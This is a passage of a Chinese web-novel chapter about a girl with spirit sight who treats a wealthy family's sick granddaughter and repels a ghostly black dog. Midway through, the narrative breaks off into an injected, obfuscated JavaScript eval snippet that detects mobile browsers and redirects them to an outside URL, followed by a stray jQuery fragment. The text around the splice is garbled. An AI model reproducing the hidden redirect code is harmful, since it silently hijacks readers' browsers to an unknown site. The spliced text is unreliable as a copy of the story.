李六妹害怕地抱住李谈君,生怕妹妹被抢走去砸了手,要是李谈君在这出事,她也不活了。
突然来通报的丫鬟神色慌乱恐惧,夫人直接被吓得手一松,红茧掉在了地上,李谈君直接伸手捡了过来,这可是保命的东西,等会儿这夫人要是依旧不信邪,还得靠这玩意儿让她和李六妹活着离开。
夫人跌坐下来,扶着桌子说:“快、快去找大师和郎中!要是孙小姐出了什么事情,我要你们的命!”
说完,夫人又指着李谈君:“你!都是你!是你带了那邪物来,害得囡囡出事的!我杀了你!”
随后夫人直接扑过来想掐李谈君的脖子,李六妹难得脑袋灵光,抱着李谈君就往后退,直到被其他丫鬟拦住。
管家见状,急忙过去拦住夫人:“夫人、夫人,冷静!你想想,刚才孙小姐好了不少,我们再让她试试?她刚才说的,好像也有道理啊,孙小姐确实——”
话还没说完,管家猛地被夫人推开打断,夫人怒喝:“你什么意思?”
“不不不,老奴的意思是……”管家额头上都是冷汗,他很快找到了借口,“老奴的意思是,这小丫头的阴阳眼,或许是真的……事已至此,不妨一试啊夫人。”
夫人依旧不肯,但此时丫鬟抱着孙小姐过来了,孙小姐满脸都是泪水和呕吐出来的黄水,尽管如此她依旧在吐,不是自己伸手去扣,是控制不住条件反射在吐。
丫鬟已经被吐了一身,恶臭瞬间充满了整个房子,然而丫鬟和管家都不敢露出嫌弃的神色。
夫人看到孙小姐那样,想去抱抱,却有些下不了手,她迟疑一会儿,直接从李六妹怀里将李谈君拖了出来,甩到孙小姐旁边:“你不是能吗?你治啊!我倒要看看你怎么治?”
那一身呕吐物确实恶臭,但李谈君见过脏东西多了去了,呕吐物再恶心也不会比屎尿混着烧伤后的尸水叠加呕吐物更恶心,那玩意儿她都见过,只是小孩儿呕吐黄水那真是干净到不行。
李谈君也不是光会任由人欺负的,她抬头,说:“一天十文钱。”
夫人等不及了,她推了一下李谈君:“什么一天十文钱?”
“我跟六姐过来伺候孙小姐,你们只给我们一天三文钱,但是孙小姐情况严重,你们得改成一天十文钱,哦对,刚才你还误会我了,我受到了惊吓,需要十文钱买药治疗。”李谈君伸出手,大有不给钱就绝对不帮忙的架势,有种就现在弄死她。
谁知夫人反倒愣住了:“你胡说什么?你是嫌钱少才整我女儿的吧?我给你们是一天五十文钱!不管了,只要你能让我女儿活下去,一天一两银子我都给!”
李六妹都傻了,她这辈子都都没听过那么多钱,她傻乎乎地摆手说:“太、太多了……”
听完夫人的话,李谈君直接气笑了,她抬手点了点旁边一脸心虚的管家:“骗小孩儿,你完了。”
管家当即色厉内荏地呵斥:“路上不是给你们买吃的了吗?路费不用钱啊?赶紧给我们家孙小姐看看!”
李谈君没说话,只是凉凉地看了管家一会儿,随后在孙小姐几个穴位上按了一下,给她止吐,有银针其实更好,但一个小孩子会用银针实在太恐怖了,还是慢慢按吧。
一个个穴位按过去,孙小姐果然缓慢止住了呕吐,她满口都是黄水,再吐下去,估计就是血水了。
按穴位被弄了一手的呕吐物,李谈君也不嫌弃,她拍拍孙小姐的胸口,说:“宝宝乖,好好睡,妖怪全都不敢来……”
奶声奶气的哄睡声,孙小姐竟然真的慢慢闭上了眼睛,呼吸均匀起来。
夫人看得一脸惊奇,没想到这小鬼竟然真的有阴阳眼,她惊魂未定地伸手碰了碰孙小姐身上干净的地方,孩子竟然没有被惊醒,往常她睡着之后,但凡有人动一动她,就会立刻暴起哭闹,哄都哄不好。
李谈君摊着两只手说:“夫人,先不要打扰孙小姐睡觉吧,钱呢?”
看李谈君这个死要钱的样子,夫人没好气地让丫鬟去取钱,按照说好的,一天五十文,还有额外给李谈君十文钱算是精神损失费,一共六十文。
手上脏,李谈君都让李六妹拿好,放进她的小背包里。
李六妹拿到钱,死死抓着自己的包,生怕被偷了。
钱没有通过管家给,而是全进了李谈君的口袋,旁边的管家恨得牙痒痒,刚才还给李谈君说话呢,现在就恨不得吃她的肉喝她的血,后悔找这样一个人小鬼大的人精过来了。
“小鬼,你是不是故意拿那个蚕茧来让我女儿演这一出,就为了骗钱?”夫人冷静下来后再次发难。
李谈君对孙小姐的情况已经有所了解,比方才要从容多:“夫人,你吃了两碗饭饱了,不能说第一碗没用,蚕茧是绣坊闹鬼的元凶,但它能变成这么大,与绣坊怨气有关,它只是吸食了孙小姐一些恐惧,你明明知道孙小姐很害怕——”
话还没说完,夫人却呵止了李谈君:“住口,没有害怕!不……这些都不重要,重要的是,你看见了什么?”
看样子,孙小姐变成这样的缘故,夫人心中是有数的,难怪只想找小丫头当替身,没想着从根源解决。
既然对方不想说,李谈君也不多问,她只好回答:“夫人,我这是阴阳眼,不是天眼,我只能看出来孙小姐具体哪里不舒服,因为什么,就不知道了,不过想治好孙小姐,还是得……”
后面的话李谈君就没说了,相信夫人能明白的。
夫人疲惫地闭了闭眼,她死死盯了李谈君一会儿,挥挥手让丫鬟将这两姐妹送下去重新收拾干净,然后继续去保护孙小姐。
丫鬟们动作很快,三两下又处理好了那些呕吐物,差点被连累的管家被夫人呵斥一顿,因为克扣了下人的钱,以前还不知道昧下多少,多事之秋,夫人的怒气几乎都撒在了管家身上。
从澡房回来时,李谈君注意到管家盯着自己恶毒的眼神。
重新回到孙小姐的房间,孙小姐难得安稳,丫鬟们不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043118|178870||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敢动,还让她带着一身呕吐物在床上睡觉。
李谈君可看不得这个,她直接让不敢动的丫鬟去拿了热水毛巾和新衣服过来。
“六姐,你给孙小姐换衣服,我给她擦身。”李谈君拧着湿哒哒的毛巾说。
已经见识过妹妹的阴阳眼,而且妹妹很聪明,李六妹非常听话地点头,得亏李六妹在绣坊干过,不然都不知道大户人家的衣裙怎么穿。
李六妹到底从绣坊学了不少东西,她给孙小姐收拾得非常妥帖,还给每根带子都打了漂亮的结。
弄好之后孙小姐也没醒,李谈君勉强用热毛巾给她清理干净,又摸了摸她的脉,感觉上没有太大的问题。
人的身体没问题,还时时受到惊吓,那看来确实是邪祟侵扰。
不知道是多大的邪祟,李谈君有些担心,万一很厉害,她眼下这个小身体可挡不住。
孙小姐一直睡到了半夜,中途夫人要休息了,没忘记让丫鬟送了点吃的给李谈君姐妹,她们吃到了正常的阳春面,重要的是,里面有油和盐。
油和盐在古代可是好东西,李六妹吃得都忘记呼吸了,李谈君人小,筷子拿得有些勉强,吃得慢,好在大户人家的食物都是不缺的,李六妹吃了两碗,李谈君吃一碗就差不多了。
吃过饭丫鬟们继续守在各个角落,她们是轮班的,必须保证主家什么时候醒来都有人伺候,非常辛苦。
没有李谈君和李六妹能睡的地方,她们被安排在床榻边,李六妹干脆抱着李谈君靠在床腿上睡。
李谈君折腾一天也累了,靠在姐姐怀里睡得安稳。
闭上眼没多久,李谈君就听见了风声,她心里嘀咕:大晚上的怎么没关窗?这么大风声?
恍惚睁开眼,李谈君猛地跟一双绿油油的眸子对上。
那是一只巨大的黑犬,凶神恶煞,有着一双狼一样锐利发绿的眼睛,眉头低沉,耳朵压低,满是凶恶之象。
李谈君慢慢站起来,她余光注意到,整个屋子的女孩子们都在睡觉,只有窗户被这黑犬撞开了。
离开了李六妹的怀抱,李谈君感觉周围的温度有点降低,这正是天气炎热的时候,怎么会突然这么冷?
尽管李谈君有在动,黑犬的绿眼睛却只紧紧盯着床上的孙小姐。
似乎感受到了黑犬的恶意,原本睡得安稳的孙小姐突然躁动起来,开始在床上惊恐地瑟缩翻滚。
黑犬抬起前腿搭在窗户边缘,有进入房间的意思,李谈君立刻呵斥:“嘘嘘!走开!”
然而黑犬不为所动,根本不怕她,硕大的脑袋已经挤进了房间,几乎跟李谈君贴在一起。
李谈君现在确信,黑犬的目标就是孙小姐,她当机立断,拿过昏睡丫鬟女红篮子里的剪刀,直接在中指上戳出血迹,流出来的血一滴落在孙小姐眉间,另外一滴打向黑犬眉心。
黑犬霎时悲鸣一声,呜咽着模糊了巨大的身形,雾一样退出了房间逃走,但那声属于动物的悲鸣久久不散。